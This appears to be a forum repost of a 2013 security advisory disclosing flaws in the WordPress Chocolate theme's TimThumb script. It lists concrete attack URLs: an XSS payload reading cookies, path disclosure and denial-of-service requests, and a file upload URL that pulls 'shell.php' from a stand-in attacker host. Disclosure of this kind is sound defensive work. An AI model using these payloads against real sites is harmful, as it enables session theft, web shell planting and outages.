Praetorian503 Posted January 24, 2013 Report Posted January 24, 2013 The WordPress Chocolate theme suffers from cross site scripting, denial of service, path disclosure, abuse of functionality, and remote shell upload vulnerabilities.Hello list!I want to warn you about multiple vulnerabilities in Chocolate WP theme for WordPress. This is commercial theme for WP.These are Cross-Site Scripting, Full path disclosure, Abuse of Functionality, Denial of Service and Arbitrary File Upload vulnerabilities.In 2011 I wrote about Cross-Site Scripting (WASC-08), Full path disclosure (WASC-13), Abuse of Functionality (WASC-42) and Denial of Service (WASC-10) vulnerabilities in TimThumb and multiple themes for WordPress (http://websecurity.com.ua/4910/), and later also was disclosed Arbitrary File Uploading (WASC-31) vulnerability. In previous years I've wrote about multiple vulnerabilities in 145 WP themes (http://websecurity.com.ua/4915/) and here is another theme.-------------------------Affected products:-------------------------Vulnerable are all versions of Chocolate WP theme for WordPress. Earlier I've informed developers about these vulnerabilities.----------Details:----------XSS (WASC-08) (in older versions of TimThumb):http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpgFull path disclosure (WASC-13):http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3C111http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1&w=1111111http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1111111&w=1Abuse of Functionality (WASC-42):http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site&h=1&w=1http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com&h=1&w=1 (bypass of restriction on domain, if such restriction is turned on)DoS (WASC-10):http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1 (bypass of restriction on domain, if such restriction is turned on)About such Abuse of Functionality and Denial of Service vulnerabilities you can read in my article Using of the sites for attacks on other sites (http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).Arbitrary File Upload (WASC-31):http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.phpFull path disclosure (WASC-13):http://site/wp-content/themes/dt-chocolate/Besides index.php there are also potentially FPD in other php-files of this theme.Best wishes & regards,Eugene Dokukin aka MustLiveAdministrator of Websecurity web sitehttp://websecurity.com.ua Source: PacketStorm Quote